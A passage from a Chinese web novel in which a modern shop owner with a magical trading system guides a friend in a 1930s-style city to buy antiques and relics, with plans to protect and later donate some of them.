感谢读者“婷婷”,灌溉营养液 +1 195 第195章 ◎黄金换大洋◎ 萧妧妧走神片刻,打开系统的经营日志查找。 扫一眼列表，进出的几人全是老熟人，果然没有新客人到来。 萧妧妧安慰自己不必着急，才两天而已。 这么想着,她安下心来,挪开视线的时候,不经意掠过底端的进度条,萧妧妧整个人顿住。 熟练度增加了，还增加了不少。 回忆片刻,萧妧妧可以笃定，就是在龙傲天离开后发生的变化。 多出来的90点熟练度,刚好对应他带走的几本兵书，平均每本10点。 这就是知识的价值？ 萧妧妧意外片刻,又觉得理所当然，记录下这次的数值变化。 三人配营养土到深夜,然后分别给她们送去,只等种子送到后安排育苗。 晚上有一小批货送到,萧妧妧催她们回去休息,自己留在院中等工人上门。 爱丽丝想留下帮忙,被孟甜甜一巴掌拍在后脑勺推出结界。 孟甜甜陪着她等，正好也习惯一下一个人接货，后面半个月萧妧妧全国乱飞，小卖部只能靠她撑着。 萧妧妧看她蓄势待发,紧张准备的架势，小声提议：“其实,实在忙不过来,我可以选择暂停营业。” 是的,系统升级后，基础版本的暂停营业功能大升级。 以前的暂停营业模式比较傻瓜，打开之后任何客人不得进店，萧妧妧便一直没用过，仅设置了营业与非营业时间。 非营业时间客人也可以随意进出，配合防护功能已经足够安全，完全用不着暂停营业。 新的暂停营业功能稍微智能了点，或者说智能的功能仅针对高等级商户开放。 萧妧妧选择暂停营业后，新老顾客虽然都无法进入，却多了一个可以针对VIP客户开放的选项。 她琢磨过新功能，有点类似会员制的意思，只有她选中客户并标上VIP等级，闭店照样可以进来交易。 萧妧妧一开始觉得它鸡肋，后来才发现，那些她难以理解的繁琐功能其实可以对应到许多场景。 比如眼下，未免孟甜甜忙不过来，她可以先暂停接待新顾客，闭店通知会自动发送给老顾客，免得大家耽搁安排。 只接待部分老顾客，忙碌程度直线下降，不过小卖部的几个老顾客平时交易量都挺大，孟甜甜不见得能轻松多少。 孟甜甜摆摆手：“有什么忙不过来的，没必要暂停营业，一天少赚几百万，你不心疼我心疼。” 萧妧妧默了默，原来两人说的不是同一件事。 要说最忙碌的，确实是古董铺更胜一筹。 “古董铺更不用担心，前段时间上新过一次，剩下半个月倒是可以歇歇。 这几天多发点上新预告，下次上新时间定在黄金周期间，正好错开拍卖会。” 孟甜甜见她安排得井井有条，道：“唯一需要我做的事情，就是接货？” 萧妧妧点头。 苏娇娇那里告一段落，现在主要是龙傲天、申明月两人需要大批量物资，采购部分她已经完成，剩下的全是体力活。 哪怕他们临时需要加点什么东西，打个电话说一声足以。 孟甜甜绷紧的脊背倏然放松：“做生意应付顾客我不在行，体力活包在我身上。” 她拍拍胳膊肌肉，炫耀道：“健身总归有点慢，陪你搬了几次货后，发现效果意外不错。” 萧妧妧看她撸起袖子，曲起手臂，捂眼叹气。 孟甜甜的变化不比龙傲天小多少，还记得她刚进店时的大S型曲线，勾得萧妧妧差点流口水。 现在倒好，热衷于锻炼，身上肌肉结实又紧实，毫无当初香香软软的感觉。 “还好吧，我这种程度的变化不算什么，你没发现爱丽丝最近长高了吗？”孟甜甜说。 萧妧妧回想一下，好像还真是，抽条了一样，脑袋即将超过她肩膀。 “真希望长个子的是我，”孟甜甜摸着自己的肌肉，语气羡慕：“高高壮壮，结结实实，一拳头一个丧尸。” 萧妧妧抽抽嘴角，没有打断她的美好想象。 说话的工夫，门外传来鸣笛，她们要接的货到了。一拉开门，工人已经推着车子守在门口。 轮流接力，300斤左右的粮食种子顺利挪近库房。 孟甜甜那里还是白天，忙完小卖部的力气活，她要回去搭建大棚。 临走之前，萧妧妧给她塞了一本《孙子兵法》。 孟甜甜莫名地扫了一眼，揣进兜里带回去。 萧妧妧紧盯进度条，果然，在她消失的同一时刻，进度条不太明显的增加了一点点。 她算了算，这一点点熟练度，竟然只有2点。 萧妧妧啧了一声，她的猜测似乎可以证实了。 想到这里，萧妧妧转身下载打印一份网友汇总的末日生存指南。 这份资料孟甜甜已经熟记于心，但不妨碍她做实验。 孟甜甜受到召唤，提着电钻进来的时候一脸茫然，等她看到拍在手心了的一沓求生指南，神情更加茫然了。 “有大棚搭建资料。”萧妧妧补充解释。 孟甜甜哦了一声，挥挥手，喜滋滋带着资料离开。 这一次，熟练度大幅增加，足有15点。 萧妧妧捏着下巴，露出笑容。 不知道能不能算规律，但总归是个小窍门，继续测试，迟早可以找到更多更快增加熟练度的技巧。 萧妧妧心满意足，对冲六级、七级有了更多信心。 信心大增的萧妧妧早早洗漱睡下，因为接下来的一周，她将经历不亚于明星赶通告的繁忙行程，必须提前调整作息。 第二天，早早醒来的萧妧妧忙着挑选黄金周上新的翡翠、彩宝，忙着拍视频照片。 苏娇娇就是这个时候闯进来，宣布了她期待已久的好消息。 “妧妧，我到海城啦，”苏娇娇笑吟吟进院子，手里提着几包糕点、蜜饯等零食：“正好听你说快到中秋了，我准备了好多玫瑰月饼，条头糕、海棠糕也很不错。” 萧妧妧扭头看过去，嚯了一声，苏娇娇带来的糕点快赶上她手里的快递箱那么大。 苏娇娇笑着说：“咱们人多嘛，尝两口就没了，我给爱丽丝、明月、甜甜都准备了一份，回头让她们带回去。” 萧妧妧放下快递箱，洗了洗手来到桌边，在打开的油纸包里挑出一条软糯糯的糕点往嘴里塞。 她含糊不清地问：“路上顺利吗？” 苏娇娇忙着把其他糕点塞冰箱，抽空回道：“勉强顺利，去海城的路上遇见抓特务，耽搁半天，到酒店已经天黑了。这不，今天一大早出去逛了一圈，顺便打听了古董行的位置，午饭后我去看看。” 萧妧妧眼睛晶亮：“午饭在我这里吃吧，刚好甜甜和爱丽丝都要过来一趟。” 苏娇娇爽快应下，把自己打听到的消息说出来：“古董行好办，带上钱进去买就是。拍卖行还不清楚情况，等我见见几个合作商了解一下。” 萧妧妧着急追问：“价格呢，古董铺价格怎么样？” 苏娇娇继续道：“价格我也问过，普通的老物件几十上百大洋，精美一点的青铜器能卖到上千大洋。我听车夫说，上月有人花了2000大洋加1000袋白面，收走一幅齐白石的画。” 萧妧妧听到齐白石三个字双眼锃亮，羡慕又嫉妒，才2000大洋加1000袋白面！ 苏娇娇那里的1块大洋从购买力来说，约等于她这里的200元左右，2000块大洋差不多是400000元。1000袋白面的价值另算，对当时的情况来说，并不便宜。 当然，实际购买力还需结合当前的物价、经济、局势等因素分析，不同地域、时期黄金、大洋的价值有所波动。 “这么算下来，确实便宜了许多。”萧妧妧幸福得要晕过去。 苏娇娇点头，叹气：“越来越多人抛售手里藏品，上个月能卖2000大洋，下个月指不定要花多少呢，一天一个价。” 苏娇娇只能庆幸，幸好家里亲戚果决，趁着情况没有更糟的时候出手了一部分资产。 说起来，她准备的那一堆法币也贬值得厉害，幸好听了萧妧妧的话，早早花出去换成物资。 萧妧妧拍着胸脯道：“放心，大洋我没有，黄金我有得是。” 说完，萧妧妧起身去房间翻找，提来一沉甸甸的手提包往桌上搁。 “小黄鱼中黄鱼大黄鱼……我没怎么花，刚好派上用场。” 一两、十两、五十两，足以应对多种情况。 苏娇娇冷不丁看到一堆金闪闪的金条出现在眼前，不禁哇了一声，原来她这段时间在小卖部消费了这么多。 “这不是怕你拿了金元宝花不出去，我找人融了金锭，特意做成小黄鱼的样子。” “有它们在，不愁买不到东西。”萧妧妧无比自信的说。 苏娇娇深以为然地点头，在云城那种小地方，有人愿意用金条交易，商家甚至愿意让出一部分利润。 “你放心，想要什么我都给你买来。”苏娇娇搓搓手，心情不可谓不激动。 纵使苏娇娇出身富贵，从小衣食无忧，却也没尝试过挥金如土的滋味。 托萧妧妧的福，这次来海城算是让她体验了一把。 这一包金子花出去，整个海城的人都会为之侧目。 萧妧妧想了想，和她商量道：“黄金贵重，如果娇娇姐没意见，我希望用小黄鱼和你兑大洋，你再拿大洋帮我买古董。” 肥水不流外人田，黄金撒出去她会心疼，撒给苏娇娇就不会有心疼的情绪。 就当是请她帮忙的酬谢吧。 苏娇娇愕然，盯着萧妧妧看了许久，见她不像是开玩笑，灿然一笑。 黄金换大洋，苏娇娇赚麻了。 【作者有话说】 感谢读者“婷婷”,灌溉营养液 +1 感谢读者“小张”,灌溉营养液 +1 196 第196章 ◎买爆古董行◎ 萧妧妧现在满脑子齐白石,希望自己也能好运的买到同档次的精品书画。 苏娇娇则惦记着去一趟银行，多准备点大洋。 两个人都没心思吃午饭，恨不得马上忙起来。 孟甜甜、爱丽丝就在这时先后回到小卖部，打断她们嘀嘀咕咕。 萧妧妧招呼大家一起吃饭,顺便宣布自己未来几天出差的消息。 苏娇娇没什么反应,爱丽丝眼巴巴瞅着她,翠绿眸子里写满了舍不得。 萧妧妧揉揉她后脑勺：“回来给你们带特产。” 行程安排得紧凑,恐怕没有时间购物，她决定提前在网上买点土特产寄回来。 爱丽丝咧了咧嘴,又高高兴兴啃起鸡腿。 简单收拾一番，苏娇娇回去为古董行之行做准备,萧妧妧静不下心，索性抱着可乐等在结界边上。 爱丽丝留在院中午睡,孟甜甜洗了一盆冬枣和阳光玫瑰抱来，两人盘腿在结界边蹲守。 萧妧妧啃到第三个枣子的时候,结界画面显现。 苏娇娇提着手包,苏管家领了三人跟在后面,乘两辆复古气息十足的小汽车前往雪霁轩。 萧妧妧顿时挺直脊背,好奇看街道两边的景况。 苏娇娇不方便出声,只时不时瞥眼神过来。 萧妧妧明知道外人听不见她说话，仍不自觉压低嗓音。 一人低声嘀咕，一人眼神回应，另一人凑热闹围观,这种状况持续了大约半小时，小汽车缓缓停在一条林荫道。 为方便萧妧妧和孟甜甜了解情况,苏娇娇故意与管家搭话：“这里就是海城的旧货市场？” 苏管家：“正是,这一条街的铺子售卖古旧家具、玉器经卷等,常有洋人商贩前来收货。” 明白管家的言下之意，苏娇娇保持了一路的火热情绪霎时冷却。 她观察片刻，迈下车向前走了几步，视野瞬间开阔，萧妧妧看到了写有雪霁轩三个字的崭新牌匾。 看得出来，雪霁轩刚开业没多久。 苏娇娇进店，苏管家随行左右，随从守在店门口等候吩咐。 古董行的伙计一看这架势，忙挂上殷勤笑容，躬身迎上来招呼。 “夫人您里面请，想买些什么古董？” 苏娇娇没应声，只微笑颔首，环顾店铺陈设。 她似乎恰好赶上了店铺热闹的时候，店里有三四个金发碧眼的洋人在选购古董，柜台后面的账房先生飞快拨动算盘珠子。 “史密斯先生，200大洋已经很实惠啦。” 一身西装的男人摇头皱眉，操着奇怪口音回：“太贵啦，太贵啦。” 苏娇娇抿了抿唇，手指有一搭没一搭地缠绕垂落在肩侧的发丝。 “那位史密斯先生手里的珐琅瓶看起来不错。” 她的目光落在外国男人身上，好像在和伙计或是身边管家随口交谈，语气轻缓。 伙计以为客人在暗示他，笑容越发灿烂：“那件不得了，宫里流出来的，从前妃子贵人拿来插花用，客人您若感兴趣，小的去帮您问一问？” 苏娇娇没理会他，只盯着瓶子打量，伙计一时间不知道如何接话。 “放心，假的，十个大洋都不值。” 萧妧妧隔着结界启动系统估价，看到三万元的价格，不自觉放松了些许。 为了确保沟通顺畅，两人提前约定过暗号，如果苏娇娇缠着头发说话，那便是在和她交流，反之则无需在意。 听到萧妧妧的答复，苏娇娇踏实了，松开发丝，微笑拒绝了伙计。 “怎么好夺人所爱，我看看别的也一样。” 说完，她转身从门边的橱窗开始细看。 雪霁轩不像街上其他古董铺旧货摊，什么都卖，店里粗略看下来，主要经营瓷器、青铜器，偶尔有几件鎏金器物。 苏娇娇对青铜器一窍不通，看瓷器的眼光还不错。 “这件斗彩的杯子不错，”苏娇娇拿起它，迎着店铺里的暖黄点灯光下端详：“伙计，多少大洋？” 伙计忙回道：“500大洋，这件是从一个王爷手里收来的，错不了。” 苏娇娇暗暗点头，确实有几分味道。 她侧了侧身，状似询问苏管家意见，实则卷起头发把玩，给萧妧妧递话。 萧妧妧先听苏管家说了几句，随后开启估价。 两人都说好，萧妧妧估摸着不会太差，等她看到跳出来的价格，也确实不差，价值390万元。 但…… 萧妧妧眯了眯眼，愕然地盯着系统界面发呆。 系统以卡片形式呈现斗彩婴戏杯子估价的同时，边框闪烁了一圈红光，乍一看有点警示的意味。 什么意思？ 萧妧妧不明所以，让苏娇娇先把东西放回去，琢磨起那圈红光。 她尝试戳了戳估价信息，闪烁红光的卡片倏然翻转，在估价信息的背面居中位置显现出一个巨大的感叹号，下面标几行字。 【温馨提示：此物品可能触及当前位面文物保护功能，为高风险文物。以防系统自动消除bug对客商户交易造成损失，请谨慎选择】 萧妧妧一个字一个字读完，终于弄明白怎么回事。 防火墙工作了，自动拦截“病毒”。 萧妧妧轻舒一口气，好在系统功能的开发足够贴心，否则买回来才发现要被消消乐，那可太冤了。 可话又说回来，万一真遇见什么好东西不能买入，未免有些遗憾。 眼珠子骨碌碌转了一圈，萧妧妧试探着向系统询问：“如果，我是说如果，这件斗彩杯子买下来，埋在某一处，百年后的我把它挖出来，这不能算违规吧？” 系统：…… 萧妧妧不知道它的沉默是什么意思，催促道：“别装听不懂，回答我算还是不算。” 又沉默了十数秒，萧妧妧不耐烦的时候，系统的机械音明显带上了不情愿的情绪，硬邦邦回答她。 【不算】 萧妧妧闻言，短促的嘿笑一声。 算有算的办法，不算就更好办啦。 “别紧张，我就是举个例子。”她安抚系统。 系统毫无反应，继续当它的哑巴，萧妧妧不以为意。 “娇娇姐，刚才那件斗彩杯子，我要了。” 她突然的大声，吓得正在看货的苏娇娇一激灵，偏了偏脑袋对伙计说：“前面我拿起来看的那件杯子先帮我包起来。” 伙计嘴角咧到后脑勺，唉了一声吩咐其他伙计来帮忙。 苏娇娇刚想问问她怎么改主意了，就听萧妧妧斗志昂扬的宣布：“杯子我要，青铜器我也要，娇娇姐，我要买爆古董行！” “咱们接下来去荣宝斋还是富源斋？我记得城隍庙一带有许多旧货地摊，不如一起看看？”苏娇娇抽了抽嘴角，卷着头发丝提醒她收敛点。 苏管家瞄一眼夫人，怎么今天说话没头没尾的，然后附和应声。 萧妧妧顿时荡漾起来，地摊捡漏什么的，谁能拒绝啊。 “去去去，都去，我金子多。”萧妧妧兴奋得苍蝇搓手。 苏娇娇放弃了，本意想劝她冷静，有规划的消费，结果让她更放肆了。 萧妧妧见她欲言又止，顾忌身边有人无法畅言，嘿嘿笑：“我眼光高着呢，可不是什么便宜货都要的。” 过一把瘾，萧妧妧打定主意后面多挑些精品。 什么样的算精品呢？ 除了参考估价，萧妧妧还打开了国外几家著名的博物馆官网，参考它们的藏品。 “这件青铜爵不错，3000大洋？买了。” “呦，乾隆的青花瓷瓶，要美金？行叭，买了。” “等等，那个经卷什么来头？看着像是偷来的。不管了，买吧。” “等一下，他说这套是西周的簋？什么？有洋人看中了？买买买。” 小小雪霁轩，好东西可真不少，一圈转下来，萧妧妧挑出来六件宝贝。 这些只是摆在明面上的东西，古董行私下里藏的见不得光的文物不知道能有多夸张。 苏娇娇带着人扫荡，挑到第三件的时候，伙计都慌了，赶紧请掌柜出来。 苏管家应付掌柜讨价还价，苏娇娇则在计算这次要花出去多少大洋。 “14300大洋加200美金？”苏娇娇听到最终价格，忍不住愣了片刻。 好便宜。 对比文物本身的价值，便宜到有些廉价。 苏娇娇心里堵得慌。 难怪那些商人打扮的洋人日日流连旧货市场，简直不敢想有多少珍贵文物被贱卖出去。 “下次再有好货，派人去和平饭店通知我的管家。” 苏娇娇思绪杂乱，面上神情淡定从容，写下一串地址交给掌柜。 掌柜扫一眼套房号，见多识广的他立刻判断出眼前这位第一次来海城的苏夫人非富即贵。 “苏夫人若对老物件感兴趣，不如改日来我们雪霁堂的茶室品品茶，雪霁堂的龙井在租界可是一绝。” 掌柜余光瞄了瞄四周，稍显鬼祟的从袖口里抽出一张请柬。 所谓的雪霁堂位于租界内，打着茶室的招牌，却是做着古董倒卖的生意。 请她去喝茶，大约是看中她的经济实力，拉她一起和其他藏家谈生意。 苏娇娇笑意加深，接过请柬记下茶室地址，交给管家收起。 “多谢掌柜邀请，我确实挺喜欢喝龙井。” 这就是应下邀约的意思了。 掌柜闻言殷勤得过份，招呼她喝茶。 “今天先不耽误您做生意了，我们改天再来。” 苏娇娇看了看表，时间尚早，便婉拒了热情的掌柜。 安排随行的人包好古董装车后，两辆车又马不停蹄前往港口附近的富源斋。 从它店铺选址便能看出一二，这家店的受众多是外国佬。 富源斋的名气可比雪霁轩大多了，也繁忙许多，苏娇娇进店许久才有伙计送走客人过来招呼她。 苏娇娇拒绝了伙计的介绍，环顾一圈了解一下主要经营方向，然后着手挑选古董。 “不行不行，女士您开的价格太低了，这三片可是殷墟甲骨，几千年前的物件，十根黄鱼不能再少啦。” 富源斋的掌柜穿着一身西装，戴着圆片眼镜，嘴里吐出一口流利的外语。 “就十根黄鱼，掌柜的，我买了。” 两人讨价还价时，一位身穿长衫、文质彬彬的学者加入进来。 苏娇娇多看他一眼，忽然想起她先前去雪霁轩时，这位长衫青年恰好从店铺出来，两人擦肩而过。 没想到这么快又在富源斋碰见了。 萧妧妧分辨不来甲骨，交给系统估价，在看到250万、110万、190万的价格后，恨不得撺掇苏娇娇加入战场。 虽然价格不高，但殷墟甲骨的价值可不能用价钱来衡量。 苏管家曾代替雇主多次来往海城，又听苏娇娇吩咐多番打探过古董行的情况，是以消息灵通些。 他低声对苏娇娇介绍：“这位是海城文艺家协会的乔先生。” 苏管家说得隐晦，苏娇娇却明白了，文艺家协会的成员正在秘密抢救、收购流散的古籍、书画，尽最大努力减少文物外流。 前脚想着加入进去竞价的苏娇娇歇了心思，暗示萧妧妧：“原来是自己人啊。” 大家目标相同，即便互不相识，那也算自己人。 萧妧妧也明白过来，哦了一声，放弃，催苏娇娇去看字画。 “娇娇姐，左边那幅立轴你看下是不是有徵明的钤印……是真品吗？买！” “吴昌硕！我看到吴昌硕了，娇娇姐，选右边墙上那幅，对，买它！” “第三幅下面那件扇面不错……是虚谷的？买买买。” “王铎巨幅草书……我去，这么贵！娇娇姐，赶紧把它拿下。” 萧妧妧乐疯了，富源斋能在海城屹立多年，果然和背后老板的眼光脱不了关系。 她在富源斋见到的真货比在雪霁轩见到的多多了。 即便雪霁斋真假掺着卖，对比现代她逛过的古董铺来说，真货率远超一大截。 “胡公寿？有点耳熟，我查查资料……”萧妧妧一边抱手机搜索一边启动系统估价，“500多万呢，不便宜了，买！” “等等，娇娇姐你问问掌柜有没有碑帖，原石拓本最佳。” 苏娇娇忙疯了，大肆采购，完全顾不上旁人投来的视线。 萧妧妧叉着腰，仍不太满意：“按理说应该有更多的精品才对，我看是掌柜看不起咱们，好东西藏着掖着，不敞亮。” 苏娇娇吁了一口气，趁着身边没人，悄声和萧妧妧蛐蛐：“咱们刚来海城，人家不知你底细，当然不敢和你做大生意。” 萧妧妧很认同她的话，“不急，既然他们开门做生意，没道理拿金子砸不动。” 两家店逛下来，古董买了不少，博物馆同款的珍贵文物却没见着几个。 萧妧妧数了数，字画、瓷器、青铜器，一共二十一件，其中八件被系统标为高风险文物。 她查过资料确认，这八件里只有六件辗转落入他国博物馆，剩下两件去向不明，大约在某个小博物馆或是私人收藏。 至于怎么处理它们，萧妧妧早有打算。 “娇娇姐，你可千万要长命百岁啊。” 苏娇娇：？ 苏娇娇正和管家核对清单，冷不防听到这么一句感叹，满脸问号。 【作者有话说】 感谢读者“momo”,灌溉营养液 +1 感谢读者“婷婷”,灌溉营养液 +1 197 第197章 ◎花钱是有钱人的社会责任◎ 好端端的,怎么说起这茬？ 萧妧妧看出她的疑惑，解释道：“当然是要靠娇娇姐你帮忙啦。” 苏娇娇更疑惑了，长命百岁算什么帮忙？ 萧妧妧又读懂了她的神情，“拿回来麻烦着呢。我考虑过,最便捷的法子是娇娇姐替我保管它们,战争一结束,随便以谁的名义捐去公立博物馆,我们的任务就算完成了。” 当然，找个地方埋起来再由她挖出来也不是不行,但又是青铜器又是甲骨拓本，万一中途出点差错,她担不起损失。 即便不出差错，怎么完好保存它们长达上百年,对她而言是个挑战。 萧妧妧及时改正了大包大揽的心态，转念一想后,发现不如留在苏娇娇手里,再保它们十来年,然后直接交给博物馆的专家费心。 萧妧妧确实想借公益捐赠提升一下自己的知名度,这一点她从不否认。 然而功利心之外,她也有情怀与意气。 即使这样的“好人好事”可能永远不会被人知晓，她依然愿意去做，只希望它们免遭劫掠。 苏娇娇诧异挑眉，真金白银买来的古董,不仅交给她保存，还要捐了？ 萧妧妧忙强调道：“不不不,我可没那么高风亮节,只捐一部分,另一部分我自己收藏。” 苏娇娇好多话想问，碍于周围环境，只得忍耐。 付出去4万大洋并60两金条后，苏管家安排伙计装车，她趁机躲在廊下一角，捏起帕子遮住口鼻。 “即便只捐一部分，那也不算少了，两万大洋总归有的，你真的想好了？” 苏娇娇很高兴，高兴萧妧妧的义举，又怕她会后悔，毕竟花出去的钱确实有点多。 萧妧妧点头，语气笃定：“我花出去的确实不少，可我赚回来的更多、更容易啊。花钱是有钱人的社会责任，能把钱花得具有社会价值，是我的道德体现。” 苏娇娇被她一套套说辞绕得晕头转向，卡壳许久才接话：“您真是个有道德的有钱人。” 萧妧妧拱手，笑嘻嘻回她：“谬赞谬赞，彼此彼此。” 古董几乎塞满了一辆车，随行的人不得不返回酒店一趟。 苏娇娇压了压手，同意管家的请示，然后在一旁佯装好奇探望，实则继续和萧妧妧闲聊。 “你看到了，东西太多，总不能一直放在酒店。我很愿意保存它们，但眼下的局势，我实在不知道将它们藏在哪里。” 苏娇娇很焦灼，生怕自己一个不慎，给珍贵文物们带来灭顶之灾。 萧妧妧：“听我的，去海城的租界买一栋花园洋房，找个隐蔽地方藏起来，或者……” 她翻了翻资料，筛选出靠谱建议：“寄存租界银行的保险柜。” 苏娇娇盯着伙计们的动作，看他们快要结束装车，加快语速：“保险柜？可以试试，只是东西太多了，我怕银行也不一定能保住它们。” 萧妧妧也不踏实，放别人手里哪有放在自己手里来的安心。 “那就去买花园洋房吧！我记得那会房*价不算太贵？娇娇姐，你帮忙打听一下，买房子的钱我出。” 苏娇娇无奈摇头：“听你的，不过租界的房子不好买，回头跟你详细说。” 不止不好买，恐怕还要加价买，甚至搭人情。 不过苏娇娇不怕，只要能保住东西，一切好说。 两人小声嘀咕，眼看着古董装车完毕，苏娇娇准备上车离开，一个头戴宽帽年轻男人拎着手提箱来到店门口。 苏娇娇不经意间瞥到他，话音戛然而止，愣愣地望着他。 萧妧妧没听到回应，以为旁边有人，迟钝了几秒才反应过来，苏娇娇是在望着别人发呆。 “你认识他？” 顺着苏娇娇的视线看过去，萧妧妧只看到半张脸，有点小帅。 苏娇娇点点头，又摇摇头：“见过几面，但是不知道他的名字。” 一次是在火车上躲抓捕，一次是医院门口，那人借她当幌子，又一次成功躲避搜捕。 同天没多久传来消息，医院特护病房里有位秘密救治的上将死于刺杀。 还有一两次碰面均是擦肩而过，说熟悉彼此都不知道姓名，说不熟悉，又确实见过不少次。 萧妧妧一听，立刻猜到这是《谍影》的男主。 叫什么她记不清了，每次出场都在做任务，每次名字都不同。 苏娇娇长久的注视终于逼得男人不得不侧目，两人视线相对，同时愣住，而后颔首，再一次擦肩而过。 苏管家这时上前提醒：“夫人，东西装好了，我陪您去城隍庙逛吧。” 苏娇娇挪回视线，收了帕子应一声好，上车，前往城隍庙附近的旧货地摊市场。 古董行有老板、师傅把关，多少能找见真东西，旧货地摊可就大不一样。 五花八门的古董层出不穷，在这里想买到真货的可能性虽然不低，但格外考验买家的眼力以及运气。 当然，抱着捡漏心态来此然后被坑一大笔的情况同样不少见。 苏娇娇每个头绪，只能沿着小道乱逛，好让萧妧妧看清楚些。 萧妧妧其实也看不太出来，总不能一个一个扫过去，别说600次机会，6000次也不够挥霍。 苏娇娇走走停停，凭借自己的眼力，倒是挑出两件赏玩瓷，一柄青白玉如意。 其他的老物件其实也有不少，但在萧妧妧查过现在的市场行情后，憾然离去。 “夫人，看看我家祖传的椅子吧，正经黄花梨。” “我有瘿木凳子……” “不如我的紫檀佛公！” 打扮光鲜气派的苏娇娇越深入巷子，越多人围拢上来推销。 苏管家挡在前面，呵斥商贩们避让，苏娇娇则趁机瞄他们兜售的旧家具、祖传玉佩、酱菜缸…… 酱菜缸？ 苏娇娇后退，清清嗓子，暗示萧妧妧。 “这酱菜缸是谁的？可方便我瞧瞧？” 兜售紫檀佛公的少年挺起胸膛站出来，热血直冲脑门：“我的我的，夫人想瞧缸？” 他说着，爱惜地放下紫檀佛公，转身将大缸往外挪了挪。 苏娇娇看他骨瘦如柴，便没多为难他，自己凑过去蹲下来看。 两边商贩见状，时不时留意这里的动静，只在新顾客路过时涌去。 苏娇娇再次捏起帕子：“看不见底款，我瞧这青色像嘉靖青花鱼藻纹缸，你觉得呢？” 苏管家以为在和他商量，半蹲下来一起端详。 萧妧妧隔了大约十几秒，声线颤抖的嗯一声：“应该没错，买吧。” 40cm左右的标准大缸器型，口沿虽有裂纹，但整体完好，青花清晰完整。 青花大缸绝对算得上明官窑的经典之作，系统给的估价证实了她的看法，4300万！ 萧妧妧搓手，逛了大半个市场，总算让她们见到一个大漏！ 苏娇娇微微点头回应，神情淡淡地询问瘦高少年：“这酱菜缸看起来不错，很有老坛韵味，应该能腌出家乡的风味。” 少年错愕挠头：“您不再看看别的？我的佛公也很好的，祖上传下来的，若不是妹妹生病，万万不能拿出来卖。” 苏娇娇垂下眼帘，这个时代到处是可怜人，谁不是贱卖家传宝贝只为换一口饭吃。 她接过少年捧着的紫檀坐佛，沉甸甸坠得手酸，高度和青花大缸差不多，40cm左右。 苏娇娇仔细端详后发现，木料色泽紫黑，牛毛纹细密，再看开脸和衣饰纹路，精准又流畅，整体而言品相真不错。 “这件也不错。”苏娇娇神色如常的评价。 萧妧妧意会，着重去看佛公摆件。 她顶多能认出料子，看不太懂木料优劣，交给系统估价，看到1900万的估价后直接愣住。 卧槽，竟然这么值钱？ “买！”萧妧妧握拳震声。 这一声几乎吼出来的“买”惊得苏娇娇一抖，也惊得旁边迷迷瞪瞪差点陷入酣睡的孟甜甜一蹬腿，半睁着眼睛望了望，又抵挡不住困意歪倒在椅子上。 苏娇娇沉吟片刻，依旧语气淡淡的对少年说：“行吧，两件我都喜欢……” 正要问他如何开价，苏娇娇瞧见附近的大人小孩们一脸虎视眈眈，遂改口：“这样吧，你陪我们把东西送去车上，我们去那里谈。” 干瘦少年迟疑望了望长长的街巷，不知道该不该应。 苏娇娇挑眉：“不想卖？” 少年拨浪鼓似的摇头：“卖，我要换钱买药呢。” 停顿一会，他试探着询问：“夫人，不如您带我妹妹去看医生吧？这缸、还有佛公，我可以送给您。” 一听说送，两边的人顿时失去兴趣。 “傻小子，不如换点钱，治完病还有得剩。” “可不是，那个病秧子妹妹管她做什么。” “这小子运气真好，才来了两天就卖出东西。” 苏娇娇听到不断传来的议论，扫一圈四周，笑着回应：“好啊，带上东西跟我去和平饭店。” 能住和平饭店的夫人，来头可不小。 到这里，仍旧关注少年和苏娇娇的人悻悻收敛了心思。 少年愣了几秒才反应过来眼前的夫人答应了他的要求，差点喜极而泣，慌乱应声后，佛公塞进缸里，弯腰抱起大缸准备跟上。 苏娇娇看得心惊胆战，苏管家忙不迭过去帮忙。 “哎呦哎呦，你小子瘦成这样可别把腰折了，回头我们夫人还要给你出钱看病。” 苏管家生怕少年砸了青花大缸和佛公，冲过去接住，佛公塞给少年抱着，苏管家抱起大缸。 苏娇娇看了看剩下的半条街，决定先回到路口再说。 “夫人，我们不去和平饭店吗？” 三人先后来到路口的小汽车旁，此时，折回去卸货的第二辆车也追了过来，停在旁边。 少年望着两辆车，心如擂鼓，胆怯与警惕一起表露在脸上。 苏娇娇摇摇头：“开价吧，酱菜缸、紫檀佛公我都买了，你妹妹找大夫看病的钱我也出。” 少年呆立在原地，大脑嗡鸣许久，不敢相信自己听到了什么。 苏娇娇笑笑：“你家还有这样的老物件吗？” 少年抹去泪花，点点头：“有、有的，如果妹妹治不好病，我再卖其他的。” 苏娇娇暗道一句果然，少年手里这两件古董明显出自宫廷，尤其紫檀释迦牟尼成道像，底座錾刻的璎珞，浓浓的宫廷风。 少年要么祖上富过，要么有什么机缘得到它们。 “其他的东西，你要是想卖，先送去和平饭店给我看看，不卖就算了。这两件你打算要多少？” 少年感觉自己踩在棉花上，浑身轻飘，他坚持道：“它们、它们不要钱！只要夫人答应给我妹妹看病买药。” 苏娇娇转身安排赶来汇合的仆从：“派一人跟他回家，带那孩子去医院看看情况。” 随行的仆从应声，接过管家递来的荷包。 苏娇娇在手袋里摸出一条帕子，里面包了十块大洋，塞给少年。 “你不肯开价，我就随便出了，这十块当是买走了它们。” 少年接过帕子，听到清脆的碰撞声，噗通一声跪下，猛磕三个头。 苏娇娇避让开，忍不住叹气。 少年爬起来，瞪着大得过份的眼睛，抽噎说：“夫人，您买画吗？我家里还有一幅画。” 他努力回想一会，道：“印着……‘钱镜塘鉴定虚谷真迹之印’几个字。” 苏娇娇目光闪烁，好好审视起眼前的少年。 钱镜塘，那可是著名收藏家，经他手的虚谷真迹会出现在这里？ 苏娇娇半信半疑，钱镜塘可还好好活着呢，少年总不会打着人家旗号卖仿品吧？ 少年捏着衣角搅弄，涨红脸小声说：“画……我、我也卖十块大洋。” 十块大洋，买不了吃亏，买不了上当。 如果可以判断是真迹，又有钱镜塘这样的著名藏家背书，价值翻倍。 名家旧藏，市场行情大约在700-1300万左右。 才十块大洋！ 查完资料，萧妧妧再次吼出声：“买买买！娇娇姐一定要买下！” 孟甜甜又一蹬腿，哼哼两声后迷糊睁眼。 【作者有话说】 感谢读者“婷婷”,灌溉营养液 +1 感谢读者“哈哈哈哈哈”,灌溉营养液 +1 198 第198章 ◎变本加厉◎ 听到破音的喊声,苏娇娇忍笑之余揉了揉耳朵。 “带我们去你家，如果画是真的，我给你二十大洋。” 少年喜悦之情溢于言表，在苏娇娇的示意下坐上副驾驶指路。 车子弯弯绕,最终停在一排矮破的旧房子前。 少年红了脸,不好意思请他们进去,嗫嚅道：“夫人、先生们,我去取画吧，我跑得很快。” 